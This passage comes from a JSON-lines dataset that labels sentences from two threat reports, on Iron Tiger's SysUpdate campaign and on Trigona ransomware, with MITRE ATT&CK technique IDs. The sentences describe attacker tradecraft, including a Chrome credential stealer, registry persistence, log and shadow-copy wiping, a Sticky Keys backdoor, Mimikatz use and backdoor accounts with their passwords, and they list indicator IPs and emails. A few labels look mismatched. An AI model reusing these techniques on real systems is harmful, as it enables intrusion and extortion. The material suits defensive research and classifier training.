"doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Infection vector We did not find an infection vector.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "However, we noticed that one of the executables packed with VMProtect and signed with the stolen certificate was named “youdu_client_211.9.194.exe”.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Youdu is the name of a Chinese instant messaging application aimed for use of enterprise customers.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Its website mentions multiple customers in many industries, some of them in critical sectors such as government, energy, healthcare, or banking.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "But they also have other customers in industries such as gaming, IT, media, construction, and retail, apparently all located inside China.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "The properties of the malicious file also match the usual Youdu version numbering.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "However, the legitimate files are signed with a “Xinda.im” certificate instead of the stolen VMProtect certificate.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Comparing the properties of the malicious file (left), and properties of the legitimate Youdu installer (right)", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "As seen in the product name identified in the malicious file’s properties, we searched for possible products named “i Talk” but did not find any that could be related to this investigation.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "However, we found traces of files from the legitimate Youdu chat application signed by Xinda.im being copied to folders named “i Talk” on one victim’s computer.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This suggests that some chat application named “i Talk” might be repackaging components from the official Youdu client along with malicious executables.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "It appears that a chat application was used as a lure to entice the victim into opening the malicious file.", "labels": ["T1204.002"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This would be consistent with the tactics, techniques, and procedures (TTPs) of two previous Iron Tiger campaigns from 2020 and 2021: a documented compromise of a chat application widely used by the Mongolian government, and a supply chain attack on Mimi chat, a chat application used in parts of South East Asia.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Post-exploitation tools We found a custom Chrome password and cookie grabber that appeared unfamiliar, and it was compiled and uploaded in September 2022.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "The file was also signed with the VMProtect certificate but it was not obfuscated.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "In general, the features were simple; the malware decrypts the saved passwords to a file named “passwords.txt”, and the cookies to a file named “cookies.txt”.", "labels": ["T1140"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Analyzing its details, the malware first parses the “Local State” file to retrieve the AES key used to encrypt the cookies and passwords.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "It then copies the “Login Data” file to a temporary file “chromedb_tmp”, issues an SQL query to extract the URL, login, and password fields from the file, and then decrypts them and appends the result to the “passwords.txt” file.", "labels": ["T1140", "T1552.001"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "It proceeds to copy the “Cookies” file to a temporary file “chromedb_tmp”, extracts multiple fields from it using an SQL query, and then decrypts the content before copying the result to the “cookies.txt” file.", "labels": ["T1140"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Some specific cookies related to Google domain names are ignored, probably because they are mostly related to specific Google features or tracking that are considered useless by the threat actor.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We found two other samples from this stealer: One compilation date indicated an executable built in November 2020, and the other one in December 2021, although those dates could be tampered with.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We found those samples were uploaded on November 2021 and August 2022, meaning this stealer existed since at least late 2021.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Targeting We identified one gambling company in the Philippines as compromised by this campaign.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Interestingly, the threat actor registered a domain name similar to the company name and used it as a C&C.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This was not surprising as we have noticed this threat actor targeting this industry since 2019 during our Operation DRBControl investigation, and later in 2021 with an update of SysUpdate.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We also attempted to notify the company of this incident through all their listed channels but have received no feedback.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "As stated in the “Infection Vector” section, we noticed the Youdu chat application was probably used as a lure.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "It is worth mentioning that the customers mentioned in the Youdu official website are all located inside China, which could be an indicator of the threat actor’s interest in targets related to this country.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Conclusion This investigation confirms that Iron Tiger regularly updates its tools to add new features and probably to ease their portability to other platforms, verifying the interest we found from this threat actor for Linux or Mac OS.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "It also corroborates this threat actor’s interest in the gambling industry and the South East Asia region, as we previously noted in 2020 and 2021.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This campaign also substantiates the regular usage of chat applications as infection vectors from Iron Tiger.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "We expect to find further updates of these tools in the future to accommodate other platforms and apps.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "As an additional warning, we want to highlight that the targeting can be wider than the samples and targeting we have already observed.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "In 2022, we discussed a campaign targeting Taiwan and the Philippines that made use of HyperBro samples (detected by Trend Micro as Backdoor.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Win32.HYPERBRO.ENC) signed with a stolen Cheetah certificate.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "The BfV, a German governmental entity, published a report in January 2022 mentioning attacks against German companies with HyperBro samples that were also signed with the same certificate.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "In October 2022, Intrinsec reported an incident in a French company also using HyperBro samples matching the structure we described in our 2021 investigation.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This shows the threat actor is likely to reuse the tools mentioned here in future campaigns that might target different regions or industries in the short and long term.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Considering the active campaign and regular developments made on this malware family, organizations are advised to enhance and broaden their current and established security measures, and heighten overall vigilance for possible infection vectors that can be abused by this threat group.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Indicators of Compromise (IOCs) Download the full list of indicators here.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Authors Daniel Lunghi Threat Researcher", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This post is also available in: 日本語 (Japanese)Executive Summary Trigona ransomware is a relatively new strain that security researchers first discovered in late October 2022.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "By analyzing Trigona ransomware binaries and ransom notes obtained from VirusTotal, as well as information from Unit 42 incident response, we determined that Trigona was very active during December 2022, with at least 15 potential victims being compromised.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Affected organizations are in the manufacturing, finance, construction, agriculture, marketing and high technology industries.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Unit 42 researchers identified two new Trigona ransom notes in January 2023 and two in February 2023.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Trigona’s ransom notes are unique; rather than the usual text file, they are instead presented in an HTML Application with embedded JavaScript containing unique computer IDs (CID) and victim IDs (VID).", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Palo Alto Networks helps detect and prevent Trigona ransomware with the following products and services: Cortex XDR, Prisma Cloud and Next-Generation Firewalls (including cloud-delivered security subscriptions such as WildFire) and through incident response.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Table of Contents Trigona OverviewRansomware AnalysisRansomware BinaryRansom NoteVictimologyLeak Site AnalysisSimilarities to CryLock RansomwareTools and TechniquesTTPsConclusionIndicators of CompromiseAdditional ResourcesProduct Protection Guide Trigona Overview The first mention of Trigona, also the name of a family of stingless bees, comes from a tweet by security researchers in late October 2022.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Malware samples were passed to BleepingComputer, which in turn published a blog post on the ransomware on Nov. 29, 2022.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Unit 42 consultants also have seen Trigona firsthand in the course of incident response.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Unit 42 researchers have observed Trigona’s threat operator engaging in behavior such as obtaining initial access to a target’s environment, conducting reconnaissance, transferring malware via remote monitoring and management (RMM) software, creating new user accounts and deploying ransomware.", "labels": ["T1219"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Ransomware Analysis Ransomware Binary Unit 42 obtained and analyzed a sample of the Trigona ransomware binary, named svhost.exe.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Upon execution, the ransomware binary uses TDCP_rijndael (a Delphi AES library) to encrypt files.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The ransomware then appends the ._locked file extension, modifies registry keys to maintain persistence, and drops ransom notes.", "labels": ["T1112"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The ransomware binary supports the following command line arguments: Argument Description /full Performs all functions of the ransomware.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Encrypts both local and network files.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Creates two registry keys for persistence, one for the ransomware binary and another for the ransom note.", "labels": ["T1547.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "/!autorun Skips creation of registry keys for persistence /test_cid “test” Overwrites default victim generated CID and replace with “test” value /test_vid “test” Overwrites default VID and replace with “test” value /p, /path", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "“path” Encrypts only files contained within specified path /!local Does not encrypt local system files, only encrypts files on local network /!lan Does not encrypt local network files, only encrypts files on local system /autorun_only “path” Creates registry key for persistence only.", "labels": ["T1547.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Allows for optional “path” to be provided to override default path, does not encrypt files The ransomware establishes persistence through the creation of two keys in CurrentVersion\\Run.", "labels": ["T1547.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Keys found in CurrentVersion\\Run contain references to programs that will execute when a user logs in.", "labels": ["T1547.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "One key executes the ransomware binary whenever the user logs in, ensuring that the encryption process would resume upon reboot.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The other key ensures that the ransom note is opened every time the user logs in.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Ransom Note Trigona’s ransom note is dropped to the system with the name how_to_decrypt.hta.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The HTML code in this file contains embedded JavaScript functionality, which displays ransom note details as shown below in Figure 1.", "labels": ["T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Sample Trigona ransom note.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Unit 42 researchers observed that the JavaScript within the ransom note contains the following information: A uniquely generated CID and VID A link to the negotiation Tor portal An email address to contact.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The contact email shown below in Figure 2 is phandaledr@onionmail[.]org.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "We have also seen farusbig@tutanota[.]com used as the contact email in other Trigona ransom notes.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Figure 2. Embedded JavaScript containing campaign ID and victim ID.Victimology By looking at the victim ID in the embedded JavaScript in the Trigona ransom notes, we were able to identify at least 15 potential victims that were compromised in December 2022.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "We also identified two new Trigona ransom notes in January 2023 and two in February 2023.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Trigona ransomware has been linked to compromises impacting multiple organizations worldwide, in sectors including manufacturing, finance, construction, agriculture, marketing and high technology.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The companies impacted were in the United States, Italy, France, Germany, Australia and New Zealand.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Leak Site Analysis When Trigona was first observed, there was no evidence of this group using a leak site for double extortion.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Their ransom note pointed the victims to their negotiation portal instead.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "During the investigation of this ransomware family, we observed that a researcher identified a leak site attributed to Trigona hosted on the IP address 45.227.253[.]99.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Unit 42 researchers pivoted on the SSH key for 45.227.253[.]99 and identified three other IP addresses related to Trigona’s infrastructure: 45.227.253[.]106 45.227.253[.]98 45.227.253[.]107 Each IP shares the same SSH key of ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMjqeyIfJyuimtE414TBCxN+lHleN5/P3CNiD4uln5xyHjyw4muLePQj2y3yOJ7GLlTvjrheWlrot3REko99eKQ=. IPs 45.227.253[.]99 and 45.227.253[.]106 hosted web servers on port 8000, while 45.227.253[.]98 and 45.227.253[.]107 hosted no web services.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "We identified that 45.227.253[.]99 hosted a web server between Dec. 6, 2022, and Jan. 27, 2023.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "On Feb. 13, 2023, 45.227.253[.]106 started hosting a web server with the HTML title Trigona Leaks that was active until March 3, 2023.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "As shown in Figure 3, each post contained the following information: A description of the company The victim’s ZoomInfo page A description of the stolen data Links to screenshots of example files A countdown timer A button to bid for the data.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The “@ Place a bid” button contained a mailto link to auction@mailthink[.]net.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Mailthink is a service that allows users to create temporary, disposable email addresses.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Trigona leak site.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "While the leak site was active, there were four victims: Victim 1 has a near-duplicate post on the BlackCat (ALPHV) leak site and a countdown timer of over 300 days.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Security researchers at Arete Incident Response recently observed Trigona leveraging BlackCat’s reputation and data leak site to pressure and extort victims.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "It’s unclear whether Victim 1 was impacted by Trigona.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Victim 2 has a duplicate post on the BlackCat (ALPHV) leak site and a countdown timer of over 300 days.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "It’s unclear whether Victim 2 was impacted by Trigona.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Victim 3 has an associated ransom note on VirusTotal and a countdown timer of just over 30 days.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Unit 42 assesses with high confidence that Victim 3 was impacted by Trigona.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Victim 4 is not mentioned on any other ransomware gang’s leak site and has a countdown timer of over 300 days.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Unit 42 did not identify any associated ransom notes and it’s unclear whether Victim 4 was impacted by Trigona.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The countdown timers of over 300 days for Victims 1, 2 and 4 were well beyond the usual timeframe that we have observed in incident response cases where attackers demand payment, which is between two and four weeks.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Given the following features, the Unit 42 team believes with moderate confidence that the surface web leak page was a development environment to test out features before a possible move to the dark web: Several posts appear to be duplicates from the BlackCat leak site (as shown in Figure 4)", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Several of the countdown timers are considerably longer", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The leak site is no longer available on the surface web Figure 4.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Comparison between Trigona leak site (left) and BlackCat (ALPHV) leak site (right).Similarities to CryLock Ransomware Trigona operators share overlap in tactics, techniques and procedures (TTPs) with CryLock ransomware operators, suggesting that ransomware threat actors that once deployed CryLock ransomware might have moved on to deploying Trigona ransomware.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The email associated with Trigona ransom notes analyzed by Unit 42 (phandaledr@onionmail[.]org) was mentioned in an online forum discussing CryLock ransomware, as shown below in Figure 5. Figure 5.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "A user on SafeZone, a Russian anti-malware forum, seeking help for Crylock ransomware.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Both ransomware families also drop ransom notes in HTML Application format, named how_to_decrypt.hta.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "There are also similarities in the ransom message, including: Their claim that all “documents, databases, backups, and other critical” files and data were encrypted AES as their choice of cryptographic algorithm Their statement that “the price depends on how soon you will contact us” Tools and Techniques Unit 42 has seen evidence of malicious activity associated with Trigona originating from a compromised Windows 2003 server, followed by the threat operators executing NetScan for internal reconnaissance.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "NetScan Unit 42 analysts recovered the NetScan output and noticed that it contained Cyrillic characters, as shown below in Figure 6.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Changing the default language of NetScan to Russian is an option that can be configured upon initial installation.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "NetScan output that operator(s) left on disk containing Cyrillic characters.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "After conducting reconnaissance, Trigona operators used Splashtop – a remote access and management (RMM) tool – to transfer the following malware into the target’s environment.", "labels": ["T1072"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Threat actors often abuse, take advantage of or subvert legitimate products for malicious purposes.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "This does not necessarily imply a flaw or malicious quality to the legitimate product being abused.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Start.bat Start.bat is a batch script that performs the following activities: It creates a new folder at C:\\temp It copies other malicious batch and EXE files from a compromised internal Server Message Block (SMB) server to the newly created temp folder It executes Turnoff.bat Turnoff.bat Turnoff.bat is a cleanup script used to remove evidence of the attack on a system.", "labels": ["T1027", "T1059.003", "T1570"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "It does so by performing the following activities: Clearing the Recycle Bin of any mounted drive Attempting to use sc stop and taskkill to stop over 100 services related to various areas ranging from remote desktop tools to Windows Defender Attempting to stop services related to VMware, Hyper-V and SQL Ending several running tasks related to the stopped services mentioned above Clear Windows Event Logs (using wevutil cl)", "labels": ["T1562.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Deleting Volume Shadow Copies Disconnecting all network drives Unit", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "42 researchers have observed that cleanup scripts from other threat actors are usually smaller and more specific to the tools used by that actor.", "labels": ["T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The scattershot variety of services and tasks that turnoff.bat stops could suggest that the tool is attempting to ensure that a wider variety of systems are encrypted.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Newuser.bat Newuser.bat is a batch script that creates a new user with the name fredla and the password Qw123456.", "labels": ["T1059.003"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "It then adds the fredla user to the local groups Administrator and Remote Desktop Users.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Threat actors sometimes create privileged user accounts to keep access to target systems without having to install persistent remote access tools on the system.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "DC2.exe DC2.exe contains a password protected version of Mimikatz, which is a tool used for extracting sensitive information such as passwords and authentication credentials from a Windows operating system.", "labels": ["T1003.001", "T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "This version of Mimikatz has been compressed using UPX.", "labels": ["T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "While UPX is often legitimately used to reduce file size, we have observed threat actors utilizing UPX and other packing programs to evade static detection of the underlying payload.", "labels": ["T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The tool is also password protected, which adds an extra layer of complexity when ascertaining the program’s functionality.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "When the executable is run, the threat actor is prompted for a password to continue.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The MD5 hash of the password is then calculated, and if it is equal to 4dbf44c6b1be736ee92ef90090452fc2, the program will continue running.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The password required to achieve the MD5 hash is boris.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Among its many legitimate uses, Unit 42 researchers have most often observed Mimikatz being leveraged maliciously by threat actors in the following ways: Credential Loading Mimikatz loads credentials from various sources such as Windows memory, Local Security Authority Subsystem Service (LSASS) process and the Windows registry.", "labels": ["T1003.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Credential Dumping The tool then extracts and dumps the credentials, including usernames and passwords, hashes, and Kerberos tickets to the screen or to a file.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Credential Manipulation Mimikatz allows the user to manipulate the dumped credentials, such as changing passwords, creating new user accounts and adding users to groups.", "labels": ["T1003.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Credential Injection The tool can also inject the manipulated credentials into other processes, allowing the user to impersonate another user and gain access to restricted resources.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "DC4.exe DC4.exe is a small, UPX-packed password protected binary that generates and executes an embedded batch file.", "labels": ["T1027", "T1059.003"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Like DC2.exe, the password to allow the binary to run is boris.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Upon execution, the batch file makes the following changes to the system: Disables the User Account Control (UAC) and sets cmd.exe as a debugger for HelpPane.exe, utilman.exe, Magnify.exe and sethc.exe.", "labels": ["T1059.003", "T1548.002"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "This is a common method of creating a “Sticky Keys backdoor” that allows for the creation of a command prompt with NT AUTHORITY\\SYSTEM privileges.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Opens specific ports on the firewall to allow remote desktop connections using the netsh command.", "labels": ["T1021.001", "T1112"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Modifies the Windows registry to allow remote desktop connections.", "labels": ["T1021.001", "T1112"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Creates a new user account with the username sys and password Mm1518061+-, and adds this user to the Administrator and Remote Desktop Users groups.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "DC6.exe DC6.exe is an installer for the publicly available tool Advanced Port Scanner, wrapped up in an Inno Setup installer package.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Inno Setup is a free software installer for Windows programs.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Advanced Port Scanner is a tool that is commonly abused by threat actors for network scanning and mapping, for lateral movement and discovery purposes.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Wrapping Advanced Port Scanner in Inno Setup adds an additional layer of obfuscation to the code, and it is likely to evade static signature detection, forcing dynamic analysis to determine functionality rather than relying on traditional static code signatures.", "labels": ["T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "TTPs Tactic / Technique Notes TA0002 Execution T1072.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Software Deployment Tools Trigona operators use Splashtop to move laterally and transfer malware between compromised hosts in the victim’s environment.", "labels": ["T1072"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "TA0003 Persistence T1546.008.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Accessibility Features DC4.exe creates a batch script that, when executed, creates a “Sticky Keys backdoor” that allows for creation of a command prompt with NT AUTHORITY\\SYSTEM privileges. T1136.", "labels": ["T1059.003"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Create Account Newuser.bat creates a new user with the username fredla and password Qw123456.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "T1098.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Account Manipulation Trigona operators compromise administrator accounts and use them to conduct malicious activities, such as executing NetScan.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "TA0005 Defense Evasion T1027.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Obfuscated Files or Information Trigona operators use UPX to pack DC2.exe and DC4.exe to avoid static signature detection.", "labels": ["T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "For DC6.exe, Trigona hid the installer for Advanced Port Scanner within Inno Setup installer to evade static signature detection. T1112.", "labels": ["T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Modify Registry DC4.exe creates a batch script that, when executed, modifies the Windows Registry to allow remote desktop connections.", "labels": ["T1059.003", "T1112"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Disable or Modify System Firewall Trigona operators open up an Remote Desktop Protocol (RDP) port in the firewall with DC4.exe. T1070.001.", "labels": ["T1021.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Indicator Removal: Clear Windows Event Logs Trigona operators use turnoff.bat to clear event logs via wevtutil cl. T1070.004.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Indicator Removal: File Deletion Trigona operators delete files such as mim.exe, mim32.exe, zam.exe and zam.bat to cover their tracks.", "labels": ["T1070.004"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Mim32.exe is associated with Mimikatz while zam.exe and zam.bat are associated with NetScan.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "T1036.004.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Masquerade Task or Service Trigona’s 